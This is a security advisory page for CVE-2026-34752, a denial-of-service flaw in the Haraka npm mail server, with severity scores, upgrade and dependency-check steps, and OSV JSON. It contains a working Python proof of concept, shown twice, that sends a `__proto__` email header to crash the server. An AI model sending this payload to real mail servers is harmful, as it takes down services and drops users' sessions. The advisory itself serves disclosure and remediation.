CVE-2026-34752: Haraka Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-xph3-r2jf-4vp3
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CVSS 7.5
CWE-248
Published
Advisory Summary

CVE-2026-34752 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-248: Uncaught Exception) affecting Haraka libraries in the npm ecosystem. The issue involves haraka affected by dos via `__proto__` email header. Remediation is available by upgrading affected packages to version 3.1.4.

CVE-2026-34752 at a Glance

CVE Identifier CVE-2026-34752
GHSA Identifier GHSA-xph3-r2jf-4vp3
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-248: Uncaught Exception
Affected Product Haraka
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-34752

To remediate this vulnerability, upgrade all affected Haraka dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Haraka fixed: 3.1.4 
npm install Haraka@3.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls Haraka

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34752, inspect your project dependencies using npm:

npm ls Haraka

Analyze the terminal output to locate any version of Haraka in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.4), your application is affected.

Note: The npm ls Haraka command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In Haraka, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Sending an email with `__proto__:` as a header name crashes the Haraka worker process. ### Details The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object: ```javascript _add_header(key, value, method) { this.headers[key] ??= [] // line 216 this.headers[key][method](value) // line 217 } ``` When `key` is `__proto__`: 1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter) 2. `Object.prototype` is not null/undefined, so `??=` is skipped 3. `Object.prototype.push(value)` throws `TypeError: not a function` The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`: ```js process.on('uncaughtException', (err) => { if (err.stack) { err.stack.split('\n').forEach((line) => logger.crit(line)) } else { logger.crit(`Caught exception: ${JSON.stringify(err)}`) } logger.dump_and_exit(1) }) ``` ### PoC ```python import socket, time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(("127.0.0.1", 2525)) sock.recv(4096) sock.sendall(b"EHLO evil\r\n"); sock.recv(4096) sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096) sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096) sock.sendall(b"DATA\r\n"); sock.recv(4096) # Crash payload sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n") ``` ### Impact In single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

CVE-2026-34752 Affected Haraka Versions

1 component(s)
Fixed Versions:
3.1.4
Product / Package Ecosystem Affected Versions Fixed Version
Haraka
npm/Haraka
npm
< 3.1.4
3.1.4

References

GitHub Advisory / Wiki ADVISORY
https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3
NVD — CVE-2026-34752 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-34752
Haraka Source Repository REPOSITORY
https://github.com/haraka/Haraka
Haraka Release RELEASE
https://github.com/haraka/Haraka/releases/tag/v3.1.4

Frequently Asked Questions

What is CVE-2026-34752?
CVE-2026-34752 is a security vulnerability in Haraka involving Haraka affected by DoS via `__proto__` email header under CWE-248: Uncaught Exception.
Which Haraka versions are affected?
Affected versions include releases prior to 3.1.4 across affected packages: Haraka.
What version fixes CVE-2026-34752?
Upgrading to 3.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Haraka affected?
Yes, Haraka is affected in releases prior to 3.1.4. Upgrade your dependency to 3.1.4 or later.
What is the CVSS score of CVE-2026-34752?
CVE-2026-34752 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-34752?
CVE-2026-34752 is classified under CWE-248: Uncaught Exception (An exception is thrown from a function, but it is not caught.).
How can I check npm dependencies for CVE-2026-34752?
Run the dependency tree command: 'npm ls Haraka'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xph3-r2jf-4vp3",
  "modified" : "2026-04-06T17:32:41Z",
  "published" : "2026-04-01T22:56:09Z",
  "aliases" : [ "CVE-2026-34752" ],
  "summary" : "Haraka affected by DoS via `__proto__` email header",
  "details" : "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) => logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "Haraka"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34752"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haraka/Haraka"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haraka/Haraka/releases/tag/v3.1.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:56:09Z",
    "nvd_published_at" : "2026-04-02T19:21:33Z"
  }
}